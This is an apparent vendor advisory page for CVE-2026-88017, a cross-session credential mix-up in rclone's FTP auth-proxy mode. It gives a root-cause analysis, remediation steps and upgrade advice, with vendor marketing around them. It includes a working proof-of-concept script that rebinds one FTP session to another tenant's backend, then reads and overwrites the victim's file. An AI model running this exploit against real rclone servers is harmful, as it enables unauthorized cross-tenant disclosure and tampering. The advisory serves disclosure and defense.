CVE-2026-88017

CVE-2026-88017 is a high-severity security vulnerability in github.com/rclone/rclone (go), affecting versions >= 1.64.0, <= 1.75.0. It is fixed in 1.75.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

rclone: FTP cross-session auth-proxy backend confusion

The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.

This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.

Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.

Affected Assets & Attack Surface

  • cmd/serve/ftp/ftp.go:170-178 defines userPass map[string]string as driver-global state keyed only by username.
  • cmd/serve/ftp/ftp.go:318-335 validates (user, pass) through the proxy and then overwrites d.userPass[user].
  • cmd/serve/ftp/ftp.go:352-373 retrieves the current map entry by Sess.LoginUser() for every filesystem operation and calls the proxy again with that password.
  • cmd/serve/ftp/ftp.go:376 onward routes FTP filesystem operations through getVFS, including stat, listing, retrieval, upload, rename, and deletion.
  • cmd/serve/proxy/proxy.go:114-119 documents credential- and client-IP-aware backend caching.
  • cmd/serve/proxy/proxy.go:235-243 derives a cache key from username, credential, and client IP.
  • cmd/serve/proxy/proxy.go:328-365 resolves and verifies the VFS using that composite identity.
  • Attack surface: any rclone serve ftp --auth-proxy ... deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.

Technical Root Cause Analysis

Authentication initially uses the correct session data:

d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())

After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:

d.userPass[user] = oPass

For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.

The authorization sequence is therefore:

  1. Session A authenticates as shared with credential A and receives backend A.
  2. Session B authenticates as shared with credential B and overwrites userPass["shared"].
  3. Session A performs another FTP command.
  4. getVFS uses credential B, not the credential that authenticated Session A.
  5. The proxy returns backend B, and Session A's command runs there.

This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.

Proof of Concept & Evidence

Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:

mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim
printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt
printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt

cat > /tmp/rclone-ftp-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

request = json.load(sys.stdin)
roots = {
    "attacker-token": "/tmp/rclone-ftp-attacker",
    "victim-token": "/tmp/rclone-ftp-victim",
}

if request.get("user") != "shared" or request.get("pass") not in roots:
    sys.exit(1)

print(json.dumps({
    "type": "local",
    "_root": roots[request["pass"]],
}))
PY
chmod 700 /tmp/rclone-ftp-proxy.py

Start the FTP server on loopback:

./rclone serve ftp \
  --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
  --addr 127.0.0.1:2121 \
  --passive-port 30000-30010

In another terminal, keep both sessions open and trigger the overwrite:

python3 - <<'PY'
import ftplib
import io

def connect(password):
    ftp = ftplib.FTP()
    ftp.connect("127.0.0.1", 2121, timeout=5)
    ftp.login("shared", password)
    return ftp

attacker = connect("attacker-token")

# Establish the attacker's original authority.
original = bytearray()
attacker.retrbinary("RETR attacker.txt", original.extend)
assert original == b"attacker-only\n"

try:
    attacker.size("victim.txt")
    raise AssertionError("victim file unexpectedly visible before overwrite")
except ftplib.error_perm:
    pass

# A second principal logs in with the same username and a different token.
victim = connect("victim-token")
assert victim.size("victim.txt") > 0

# The first session is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print(stolen.decode().strip())
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit()
victim.quit()
PY

grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

  • Before the victim login, the attacker session resolves only the attacker root.
  • After the victim login, the already-authenticated attacker session reads victim.txt.
  • A write through the attacker session overwrites the file in the victim root.

The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationFTPAuthProxyCrossSession
--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)

Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.

Impact Assessment

A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.

The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.

This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.

Remediation Guidance

Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.

A compatible fix is:

  1. On successful CheckPasswd, store a private session binding in sctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.
  2. In getVFS, retrieve only that session binding. Never consult a driver-global username map.
  3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.
  4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling Proxy.Call retains current expiry behavior while maintaining identity.
  5. Remove userPass, userPassMu, and the associated global credential lifetime after the session-based path is in place.

Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the *ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.

Impact

CVE-2026-88017 has a CVSS score of 7.3 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.75.1); upgrading removes the vulnerable code path.

Affected versions

github.com/rclone/rclone (>= 1.64.0, <= 1.75.0)

Security releases

github.com/rclone/rclone → 1.75.1 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/rclone/rclone to 1.75.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-88017? CVE-2026-88017 is a high-severity security vulnerability in github.com/rclone/rclone (go), affecting versions >= 1.64.0, <= 1.75.0. It is fixed in 1.75.1.
  2. How severe is CVE-2026-88017? CVE-2026-88017 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/rclone/rclone are affected by CVE-2026-88017? github.com/rclone/rclone (go) versions >= 1.64.0, <= 1.75.0 is affected.
  4. Is there a fix for CVE-2026-88017? Yes. CVE-2026-88017 is fixed in 1.75.1. Upgrade to this version or later.
  5. Is CVE-2026-88017 exploitable, and should I be worried? Whether CVE-2026-88017 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-88017 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-88017? Upgrade github.com/rclone/rclone to 1.75.1 or later.

Stop the waste.
Protect your environment with Kodem.